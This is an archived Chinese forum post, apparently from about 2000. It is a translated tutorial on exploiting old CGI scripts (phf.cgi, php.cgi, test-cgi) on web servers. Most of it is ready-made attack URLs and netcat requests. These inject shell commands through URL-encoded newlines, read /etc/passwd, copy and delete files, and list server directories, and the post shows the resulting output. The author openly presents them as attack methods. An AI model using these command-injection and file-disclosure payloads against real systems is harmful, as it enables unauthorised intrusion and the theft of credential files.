精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>CGI漏洞的利用(一)

主题:CGI漏洞的利用(一)
发信人: iamu()
整理人: williamlong(2000-03-07 19:00:17), 站内信件
                         CGI漏洞的利用(一)
    CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破P
CWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点
看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来
信告诉我:[email protected]
    
一、phf.cgi攻击:

    phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对
它不了解以至于造成了漏洞。在浏览器中输入:

http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
 
可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnick
na
 me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qnam
e=
 haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/pass
wd
 %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qna
me
 =haqr&Qemail=&Qnickname=&Qoffice_phone=

以上等于执行了命令:

id

ls -la ~someuser

cp /etc/passwd ~someuser/passwd

(用普通的可以进入的目录来看passwd)

rm ~someuser/passwd

二、php.cgi
    除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许
anyone以
HTTP管理员身份读系统文件,在浏览器中输入:

http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd
 
就可以看到想看的文件。
    
    另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128b
ytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。

    但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。
想检查能否运行,只要在浏览器中输入:
 
http://hostname/cgi-bin/php.cgi

如果你看到返回这样的字样就可以运行:

PHP/FI Version 2.0b10
 ...

三、test-cgi的问题
    test-cgi同样是个常常出现的漏洞,在浏览器中输入:

http://thegnome.com/cgi-bin/test-cgi?\whatever

将会返回:

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

再来一次,这样输入:

http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

看到PASSWD了?

用netcat 80 端口 进行攻击:

machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80

返回:

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

显示出了根目录!这样试试:

machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80

返回:

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html

mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

显示了/CGI-BIN/目录下的东西。



———————————————————————————————————
———————
以上文章由darksun成员ISNO翻译,如转载请保持文章完整。http://isno.yeah.
net



--
=====================================================
黑客=安全??http://isno.yeah.net
=====================================================

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.99.62.155]

[关闭][返回]